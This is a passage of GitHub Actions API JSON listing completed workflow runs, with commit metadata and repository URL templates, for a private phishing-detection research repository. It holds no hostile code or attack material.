r150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287502807,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTAyODA3","head_branch":"API_Flatten","head_sha":"26e0d505013b23f53abd5799c8f796e81c32d820","run_number":280,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1285602835,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjAyODM1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287502807","pull_requests":[],"created_at":"2020-10-04T06:22:09Z","updated_at":"2020-10-04T06:24:50Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285602835","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"26e0d505013b23f53abd5799c8f796e81c32d820","tree_id":"b85cfb74d5b55ec2f911bfff2eb95ffb574f8feb","message":"Exposed extract_features_from_single","timestamp":"2020-10-04T05:59:24Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287262444,"node_id":"MDExOldvcmtmbG93UnVuMjg3MjYyNDQ0","head_branch":"url_features_fix","head_sha":"5df7b89dbb52bed12b247ad821f59d2d3d0409c6","run_number":279,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1285158402,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MTU4NDAy","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287262444","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287262444","pull_requests":[],"created_at":"2020-10-04T01:31:49Z","updated_at":"2020-10-04T01:34:31Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287262444/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287262444/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285158402","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287262444/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287262444/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287262444/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"5df7b89dbb52bed12b247ad821f59d2d3d0409c6","tree_id":"eca38086e8680a05f48129e94f8848319b4218df","message":"Fixed variable name","timestamp":"2020-10-04T01:31:41Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287261609,"node_id":"MDExOldvcmtmbG93UnVuMjg3MjYxNjA5","head_branch":"url_features_fix","head_sha":"1c28f66d79972e667ab6007b2ae7e44ffdece561","run_number":278,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1285156841,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MTU2ODQx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287261609","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287261609","pull_requests":[],"created_at":"2020-10-04T01:30:57Z","updated_at":"2020-10-04T01:33:43Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287261609/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287261609/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285156841","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287261609/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287261609/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287261609/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"1c28f66d79972e667ab6007b2ae7e44ffdece561","tree_id":"05aeb0ba04943be05810ba6e1cfe5d54c16ed135","message":"Added missing import","timestamp":"2020-10-04T00:57:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}",